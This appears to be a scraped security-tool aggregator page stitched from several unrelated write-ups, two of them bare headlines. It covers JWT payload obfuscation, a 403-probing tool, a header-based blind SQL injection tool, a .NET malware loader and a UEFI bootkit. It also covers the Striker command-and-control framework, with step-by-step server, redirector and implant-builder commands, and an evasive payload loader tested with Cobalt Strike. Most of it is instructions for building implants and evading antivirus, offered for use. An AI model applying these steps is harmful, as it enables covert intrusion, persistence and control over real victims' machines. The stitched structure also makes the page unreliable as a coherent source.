New RedLine Stealer Variant Disguised as Game Cheats Using Lua Bytecode for Stealth

RemoteTLSCallbackInjection - Utilizing TLS Callbacks To Execute A Payload Without Spawning Any Threads In A Remote Process

Some-Tweak-To-Hide-Jwt-Payload-Values - A Handful Of Tweaks And Ideas To Safeguard The JWT Payload

• a handful of tweaks and ideas to safeguard the JWT payload, making it futile to attempt decoding by constantly altering its value,
  ensuring the decoded output remains unintelligible while imposing minimal performance overhead.

A JSON Web Token (JWT, pronounced "jot") is a compact and URL-safe way of passing a JSON message between two parties. It's a standard, defined in RFC 7519. The token is a long string, divided into parts separated by dots. Each part is base64 URL-encoded.

What parts the token has depends on the type of the JWT: whether it's a JWS (a signed token) or a JWE (an encrypted token). If the token is signed it will have three sections: the header, the payload, and the signature. If the token is encrypted it will consist of five parts: the header, the encrypted key, the initialization vector, the ciphertext (payload), and the authentication tag. Probably the most common use case for JWTs is to utilize them as access tokens and ID tokens in OAuth and OpenID Connect flows, but they can serve different purposes as well.

This code snippet offers a tweak perspective aiming to enhance the security of the payload section when decoding JWT tokens, where the stored keys are visible in plaintext. This code snippet provides a tweak perspective aiming to enhance the security of the payload section when decoding JWT tokens. Typically, the payload section appears in plaintext when decoded from the JWT token (base64). The main objective is to lightly encrypt or obfuscate the payload values, making it difficult to discern their meaning. The intention is to ensure that even if someone attempts to decode the payload values, they cannot do so easily.

• The code snippet targets the key named "userid" stored in the payload section as an example.
• The choice of "userid" stems from its frequent use for user identification or authentication purposes after validating the token's validity (e.g., ensuring it has not expired).

The idea behind attempting to obscure the value of the key named "userid" is as follows:

• The timestamp is hashed and then encrypted by performing bitwise XOR operation with the user ID.
• XOR operation is performed using a symmetric key.
• The resulting value is then encoded using Base64.

• Encrypted data is decoded using Base64.
• Decryption is performed by XOR operation with the symmetric key.
• The original user ID and hashed timestamp are revealed in plaintext.
• The user ID part is extracted by splitting at the "|" delimiter for relevant use and purposes.

• Various materials can be utilized for this key.
• It could be a salt used in conventional password hashing, an arbitrary random string, a generated UUID, or any other suitable material.
• However, this key should be securely stored in the database management system (DBMS).

and..^^

in the example, the key is shown as { 'userid': 'random_value' },
making it apparent that it represents a user ID.

However, this is merely for illustrative purposes.

In practice, a predetermined and undisclosed name is typically used.
For example, 'a': 'changing_random_value'

• This code snippet is created for educational purposes and serves as a starting point for ideas rather than being inherently secure.
• It provides a level of security beyond plaintext visibility but does not guarantee absolute safety.

Attempting to tamper with JWT tokens generated using this method requires access to both the JWT secret key and the XOR symmetric key used to create the UserID.

• If you find this helpful, please the "star":star2: to support further improvements.

# python3 main.py

- Current Unix Timestamp: 1709160368
- Current Unix Timestamp to Human Readable: 2024-02-29 07:46:08

- userid: 23243232
- XOR Symmetric key: b'generally_user_salt_or_hash_or_random_uuid_this_value_must_be_in_dbms'
- JWT Secret key: yes_your_service_jwt_secret_key

- Encoded UserID and Timestamp: VVZcUUFTX14FOkdEUUFpEVZfTWwKEGkLUxUKawtHOkAAW1RXDGYWQAo=
- Decoded UserID and Hashed Timestamp: 23243232|e27436b7393eb6c2fb4d5e2a508a9c5c

- JWT Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0aW1lc3RhbXAiOiIyMDI0LTAyLTI5IDA3OjQ2OjA4IiwidXNlcmlkIjoiVlZaY1VVRlRYMTRGT2tkRVVVRnBFVlpmVFd3S0VHa0xVeFVLYXd0SE9rQUFXMVJYREdZV1FBbz0ifQ.bM_6cBZHdXhMZjyefr6YO5n5X51SzXjyBUEzFiBaZ7Q
- Decoded JWT: {'timestamp': '2024-02-29 07:46:08', 'userid': 'VVZcUUFTX14FOkdEUUFpEVZfTWwKEGkLUxUKawtHOkAAW1RXDGYWQAo='}


# run again
- Decoded JWT: {'timestamp': '2024-02-29 08:16:36', 'userid': 'VVZcUUFTX14FaRNAVBRpRQcORmtWRGl   eVUtRZlYXaBZZCgYOWGlDR10='}
- Decoded JWT: {'timestamp': '2024-02-29 08:16:51', 'userid': 'VVZcUUFTX14FZxMRVUdnEgJZEmxfRztRVUBabAsRZkdVVlJWWztGQVA='}
- Decoded JWT: {'timestamp': '2024-02-29 08:17:01', 'userid': 'VVZcUUFTX14FbxYQUkM8RVRZEmkLRWsNUBYNb1sQPREFDFYKDmYRQV4='}
- Decoded JWT: {'timestamp': '2024-02-29 08:17:09', 'userid': 'VVZcUUFTX14FbUNEVEVqEFlaTGoKQjxZBRULOlpGPUtSClALWD5GRAs='}

WebSecProbe - Web Security Assessment Tool, Bypass 403

A cutting-edge utility designed exclusively for web security aficionados, penetration testers, and system administrators. WebSecProbe is your advanced toolkit for conducting intricate web security assessments with precision and depth. This robust tool streamlines the intricate process of scrutinizing web servers and applications, allowing you to delve into the technical nuances of web security and fortify your digital assets effectively.

WebSecProbe is designed to perform a series of HTTP requests to a target URL with various payloads in order to test for potential security vulnerabilities or misconfigurations. Here's a brief overview of what the code does:

• It takes user input for the target URL and the path.
• It defines a list of payloads that represent different HTTP request variations, such as URL-encoded characters, special headers, and different HTTP methods.
• It iterates through each payload and constructs a full URL by appending the payload to the target URL.
• For each constructed URL, it sends an HTTP GET request using the requests library, and it captures the response status code and content length.
• It prints the constructed URL, status code, and content length for each request, effectively showing the results of each variation's response from the target server.
• After testing all payloads, it queries the Wayback Machine (a web archive) to check if there are any archived snapshots of the target URL/path. If available, it prints the closest archived snapshot's information.

Does This Tool Bypass 403 ?

It doesn't directly attempt to bypass a 403 Forbidden status code. The code's purpose is more about testing the behavior of the server when different requests are made, including requests with various payloads, headers, and URL variations. While some of the payloads and headers in the code might be used in certain scenarios to test for potential security misconfigurations or weaknesses, it doesn't guarantee that it will bypass a 403 Forbidden status code.

In summary, this code is a tool for exploring and analyzing a web server's responses to different requests, but whether or not it can bypass a 403 Forbidden status code depends on the specific configuration and security measures implemented by the target server.

pip install WebSecProbe

WebSecProbe <URL> <Path>

Example:

WebSecProbe https://example.com admin-login

from WebSecProbe.main import WebSecProbe

if __name__ == "__main__":
    url = 'https://example.com'  # Replace with your target URL
    path = 'admin-login'  # Replace with your desired path

    probe = WebSecProbe(url, path)
    probe.run()

HBSQLI - Automated Tool For Testing Header Based Blind SQL Injection

HBSQLI is an automated command-line tool for performing Header Based Blind SQL injection attacks on web applications. It automates the process of detecting Header Based Blind SQL injection vulnerabilities, making it easier for security researchers , penetration testers & bug bounty hunters to test the security of web applications. 

Disclaimer:

This tool is intended for authorized penetration testing and security assessment purposes only. Any unauthorized or malicious use of this tool is strictly prohibited and may result in legal action.

The authors and contributors of this tool do not take any responsibility for any damage, legal issues, or other consequences caused by the misuse of this tool. The use of this tool is solely at the user's own risk.

Users are responsible for complying with all applicable laws and regulations regarding the use of this tool, including but not limited to, obtaining all necessary permissions and consents before conducting any testing or assessment.

By using this tool, users acknowledge and accept these terms and conditions and agree to use this tool in accordance with all applicable laws and regulations.

Installation

Install HBSQLI with following steps:

$ git clone https://github.com/SAPT01/HBSQLI.git
$ cd HBSQLI
$ pip3 install -r requirements.txt 

Usage/Examples

usage: hbsqli.py [-h] [-l LIST] [-u URL] -p PAYLOADS -H HEADERS [-v]

options:
  -h, --help            show this help message and exit
  -l LIST, --list LIST  To provide list of urls as an input
  -u URL, --url URL     To provide single url as an input
  -p PAYLOADS, --payloads PAYLOADS
                        To provide payload file having Blind SQL Payloads with delay of 30 sec
  -H HEADERS, --headers HEADERS
                        To provide header file having HTTP Headers which are to be injected
  -v, --verbose         Run on verbose mode

For Single URL:

$ python3 hbsqli.py -u "https://target.com" -p payloads.txt -H headers.txt -v

For List of URLs:

$ python3 hbsqli.py -l urls.txt -p payloads.txt -H headers.txt -v

Modes

There are basically two modes in this, verbose which will show you all the process which is happening and show your the status of each test done and non-verbose, which will just print the vulnerable ones on the screen. To initiate the verbose mode just add -v in your command

Notes

• You can use the provided payload file or use a custom payload file, just remember that delay in each payload in the payload file should be set to 30 seconds.

• You can use the provided headers file or even some more custom header in that file itself according to your need.

Demo

NixImports - A .NET Malware Loader, Using API-Hashing To Evade Static Analysis

A .NET malware loader, using API-Hashing and dynamic invoking to evade static analysis

How does it work?

NixImports uses my managed API-Hashing implementation HInvoke, to dynamically resolve most of it's called functions at runtime. To resolve the functions HInvoke requires two hashes the typeHash and the methodHash. These hashes represent the type name and the methods FullName, on runtime HInvoke parses the entire mscorlib to find the matching type and method. Due to this process, HInvoke does not leave any import references to the methods called trough it.

Another interesting feature of NixImports is that it avoids calling known methods as much as possible, whenever applicable NixImports uses internal methods instead of their wrappers. By using internal methods only we can evade basic hooks and monitoring employed by some security tools.

For a more detailed explanation checkout my blog post.

You can generate hashes for HInvoke using this tool

How to use

NixImports only requires a filepath to the .NET binary you want to pack with it.

NixImports.exe <filepath>

It will automatically generate a new executable called Loader.exe in it's root folder. The loader executable will contain your encoded payload and the stub code required to run it.

Tips for Defenders

If youre interested in detection engineering and possible detection of NixImports, checkout the last section of my blog post

Or click here for a basic yara rule covering NixImports.

Bootlicker - A Generic UEFI Bootkit Used To Achieve Initial Usermode Execution

bootlicker is a legacy, extensible UEFI firmware rootkit targeting vmware hypervisor virtual machines. It is designed to achieve initial code execution within the context of the windows kernel, regardless of security settings configured.

Architecture

bootlicker takes its design from the legacy CosmicStrain, MoonBounce, and ESPECTRE rootkits to achive arbitrary code excution without triggering patchguard or other related security mechanisms.

After initial insertion into a UEFI driver firmware using the the injection utility, the shellcodes EfiMain achieves execution as the host starts up, and inserts a hook into the UEFI firmware's ExitBootServices routine. The ExitBootServices routine will then, on execution, find the source caller of the function, and if it matches WinLoad.EFI, attempts to find the unexported winload.efi!OslArchTransferToKernel routine, which will allow us to att ack the booting kernel before it achieves its initial execution.

Once OslArchTransferToKernel executes, it will search for the ACPI.SYS driver, find the .rsrc PE section, and inject a small stager shellcode entrypoint called DrvMain to copy over a larger payload that will act as our kernel implant.

Resources

Entirely based upon d_olex / cr4sh's DmaBackdoorBoot

Epilogue

This code is apart of a larger project I've been working on that on / off in between burnout, like most of the concepts I've produced over the years under various aliases, will never see the light of day. Some of the code comments I've been to lazy to strip out that refer to unrelated functiaonlity, despite it being previously present. Do not expect this to work out of the box, some slight modifications are certainly necessary.

Striker - A Command And Control (C2)

Striker is a simple Command and Control (C2) program.

Disclaimer

This project is under active development. Most of the features are experimental, with more to come. Expect breaking changes.

Features

A) Agents

• Native agents for linux and windows hosts.
• Self-contained, minimal python agent should you ever need it.
• HTTP(s) channels.
• Aynchronous tasks execution.
• Support for multiple redirectors, and can fallback to others when active one goes down.

B) Backend / Teamserver

• Supports multiple operators.
• Most features exposed through the REST API, making it easy to automate things.
• Uses web sockets for faster comms.

C) User Interface

• Smooth and reactive UI thanks to Svelte and SocketIO.
• Easy to configure as it compiles into static HTML, JavaScript, and CSS files, which can be hosted with even the most basic web server you can find.
• Teamchat feature to communicate with other operators over text.

Installing Striker

Clone the repo;

$ git clone https://github.com/4g3nt47/Striker.git
$ cd Striker

The codebase is divided into 4 independent sections;

1. The C2 Server / Backend

This handles all server-side logic for both operators and agents. It is a NodeJS application made with;

• express - For the REST API.
• socket.io - For Web Socket communtication.
• mongoose - For connecting to MongoDB.
• multer - For handling file uploads.
• bcrypt - For hashing user passwords.

The source code is in the backend/ directory. To setup the server;

1. Setup a MongoDB database;

Striker uses MongoDB as backend database to store all important data. You can install this locally on your machine using this guide for debian-based distros, or create a free one with MongoDB Atlas (A database-as-a-service platform).

2. Move into the source directory;

$ cd backend

3. Install dependencies;

$ npm install

4. Create a directory for static files;

$ mkdir static

You can use this folder to host static files on the server. This should also be where your UPLOAD_LOCATION is set to in the .env file (more on this later), but this is not necessary. Files in this directory will be publicly accessible under the path /static/.

5. Create a .env file;

NOTE: Values between < and > are placeholders. Replace them with appropriate values (including the <>). For fields that require random strings, you can generate them easily using;

$ head -c 100 /dev/urandom | sha256sum

DB_URL=<your MongoDB connection URL>
HOST=<host to listen on (default: 127.0.0.1)>
PORT=<port to listen on (default: 3000)>
SECRET=<random string to use for signing session cookies and encrypting session data>
ORIGIN_URL=<full URL of the server you will be hosting the frontend at. Used to setup CORS>
REGISTRATION_KEY=<random string to use for authentication during signup>
MAX_UPLOAD_SIZE=<max file upload size, in bytes>
UPLOAD_LOCATION=<directory to store uploaded files to (default: static)>
SSL_KEY=<your SSL key file (optional)>
SSL_CERT=<your SSL cert file (optional)>

Note that SSL_KEY and SSL_CERT are optional. If any is not defined, a plain HTTP server will be created. This helps avoid needless overhead when running the server behind an SSL-enabled reverse proxy on the same host.

6. Start the server;

$ node index.js
[12:45:30 PM]  Connecting to backend database...
[12:45:31 PM]  Starting HTTP server...
[12:45:31 PM]  Server started on port: 3000

2. The Frontend

This is the web UI used by operators. It is a single page web application written in Svelte, and the source code is in the frontend/ directory.

To setup the frontend;

1. Move into the source directory;

$ cd frontend

2. Install dependencies;

$ npm install

3. Create a .env file with the variable VITE_STRIKER_API set to the full URL of the C2 server as configured above;

VITE_STRIKER_API=https://c2.striker.local

4. Build;

$ npm run build

The above will compile everything into a static web application in dist/ directory. You can move all the files inside into the web root of your web server, or even host it with a basic HTTP server like that of python;

$ cd dist
$ python3 -m http.server 8000

5. Signup;

• Open the site in a web browser. You should see a login page.
• Click on the Register button.
• Enter a username, password, and the registration key in use (see REGISTRATION_KEY in backend/.env)

This will create a standard user account. You will need an admin account to access some features. Your first admin account must be created manually, afterwards you can upgrade and downgrade other accounts in the Users tab of the web UI.

To create your first admin account;

• Connect to the MongoDB database used by the backend.
• Update the users collection and set the admin field of the target user to true;

There are different ways you can do this. If you have mongo available in you CLI, you can do it using;

$ mongo <your MongoDB connection URL>
> db.users.updateOne({username: "<your username>"}, {$set: {admin: true}})

You should get the following response if it works;

{ "acknowledged" : true, "matchedCount" : 1, "modifiedCount" : 1 }

You can now login :)

3. The C2 Redirector

A) Dumb Pipe Redirection

A dumb pipe redirector written for Striker is available at redirector/redirector.py. Obviously, this will only work for plain HTTP traffic, or for HTTPS when SSL verification is disabled (you can do this by enabling the INSECURE_SSL macro in the C agent).

The following example listens on port 443 on all interfaces and forward to c2.example.org on port 443;

$ cd redirector
$ ./redirector.py 0.0.0.0:443 c2.example.org:443
[*] Starting redirector on 0.0.0.0:443...
[+] Listening for connections...

B) Nginx Reverse Proxy as Redirector

1. Install Nginx;

$ sudo apt install nginx

2. Create a vhost config (e.g: /etc/nginx/sites-available/striker);

Placeholders;

• <domain-name> - This is your server's FQDN, and should match the one in you SSL cert.
• <ssl-cert> - The SSL cert file to use.
• <ssl-key> - The SSL key file to use.
• <c2-server> - The full URL of the C2 server to forward requests to.

WARNING: client_max_body_size should be as large as the size defined by MAX_UPLOAD_SIZE in your backend/.env file, or uploads for large files will fail.

server {
    listen 443 ssl;
    server_name             <domain-name>;
    ssl_certificate         <ssl-cert>;
    ssl_certificate_key     <ssl-key>;
    client_max_body_size    100M;
    access_log              /var/log/nginx/striker.log;

    location / {
      proxy_pass              <c2-server>;
      proxy_redirect          off;
      proxy_ssl_verify        off;
      proxy_read_timeout      90;
      proxy_http_version      1.0;
      proxy_set_header        Upgrade $http_upgrade;
      proxy_set_header        Connection "upgrade";
      proxy_set_header        Host $host;
      proxy_set_header        X-Real-IP $remote_addr;
      proxy_set_header        X-Forwarded-For $proxy_add_x_forwarded_for;
    }
}

3. Enable it;

$ sudo ln -s /etc/nginx/sites-available/striker /etc/nginx/sites-enabled/striker

4. Restart Nginx;

$ sudo service nginx restart

Your redirector should now be up and running on port 443, and can be tested using (assuming your FQDN is striker.local);

$ curl https://striker.local

If it works, you should get the 404 response used by the backend, like;

{"error":"Invalid route!"}

4. The Agents (Implants)

A) The C Agent

These are the implants used by Striker. The primary agent is written in C, and is located in agent/C/. It supports both linux and windows hosts. The linux agent depends externally on libcurl, which you will find installed in most systems.

The windows agent does not have an external dependency. It uses wininet for comms, which I believe is available on all windows hosts.

1. Building for linux

Assuming you're on a 64 bit host, the following will build for 64 host;

$ cd agent/C
$ mkdir bin
$ make

To build for 32 bit on 64;

$ sudo apt install gcc-multilib
$ make arch=32

The above compiles everything into the bin/ directory. You will need only two files to generate working implants;

• bin/stub - This is the agent stub that will be used as template to generate working implants.
• bin/builder - This is what you will use to patch the agent stub to generate working implants.

The builder accepts the following arguments;

$ ./bin/builder 
[-] Usage: ./bin/builder <url> <auth_key> <delay> <stub> <outfile>

Where;

• <url> - The server to report to. This should ideally be a redirector, but a direct URL to the server will also work.
• <auth_key> - The authentication key to use when connecting to the C2. You can create this in the auth keys tab of the web UI.
• <delay> - Delay between each callback, in seconds. This should be at least 2, depending on how noisy you want it to be.
• <stub> - The stub file to read, bin/stub in this case.
• <outfile> - The output filename of the new implant.

Example;

$ ./bin/builder https://localhost:3000 979a9d5ace15653f8ffa9704611612fc 5 bin/stub bin/striker
[*] Obfuscating strings...
[+] 69 strings obfuscated :)
[*] Finding offsets of our markers...
[+] Offsets:
            URL: 0x0000a2e0
       OBFS Key: 0x0000a280
       Auth Key: 0x0000a2a0
          Delay: 0x0000a260
[*] Patching...
[+] Operation completed!

2. Building for windows

You will need MinGW for this. The following will install the 32 and 64 bit dev windows environment;

$ sudo apt install mingw-w64

Build for 64 bit;

$ cd agent/C
$ mdkir bin
$ make target=win

To compile for 32 bit;

$ make target=win arch=32

This will compile everything into the bin/ directory, and you will have the builder and the stub as bin\stub.exe and bin\builder.exe, respectively.

B) The Python Agent

Striker also comes with a self-contained python agent (tested on python 2.7.16 and 3.7.3). This is located at agent/python/. Only the most basic features are implemented in this agent. Useful for hosts that can't run the C agent but have python installed.

There are 2 file in this directory;

• stub.py - This is the payload stub to pass to the builder.
• builder.py - This is what you'll be using to generate an implant.

Usage example:

$ ./builder.py
[-] Usage: builder.py <url> <auth_key> <delay> <stub> <outfile>
# The following will generate a working payload as `output.py`
$ ./builder.py http://localhost:3000 979a9d5ace15653f8ffa9704611612fc 2 stub.py output.py
[*] Loading agent stub...
[*] Writing configs...
[+] Agent built successfully: output.py
# Run it
$ python3 output.py

Getting Started

After following the above instructions, Striker should now be ready for use. Kindly go through the usage guide. Have fun, and happy hacking!

Support

If you like the project, consider helping me turn coffee into code!

APCLdr - Payload Loader With Evasion Features

Features:

• no crt functions imported
• indirect syscalls using HellHall
• api hashing using CRC32 hashing algorithm
• payload encryption using rc4 - payload is saved in .rsrc
• Payload injection using APC calls - alertable thread
• Payload execution using APC - alertable thread
• Execution delation using MsgWaitForMultipleObjects - edit this
• the total size is 8kb + the payload size
• compatible with LLVM (clang-cl) Option

Usage:

• Use Builder to update the PayloadFile.pf file, that'll be the encrypted payload to be saved in the .rsrc section of the loader
• Compile as x64 Release

Debugging:

• Change Linker>SubSystem from /SUBSYSTEM:WINDOWS to /SUBSYSTEM:CONSOLE
• Set the loader in debug mode (uncomment this)
• build as release as well

Thanks For:

• https://www.x86matthew.com/view_post?id=writeprocessmemory_apc
• https://github.com/vxunderground/VX-API

Tested with cobalt strike && Havoc on windows 10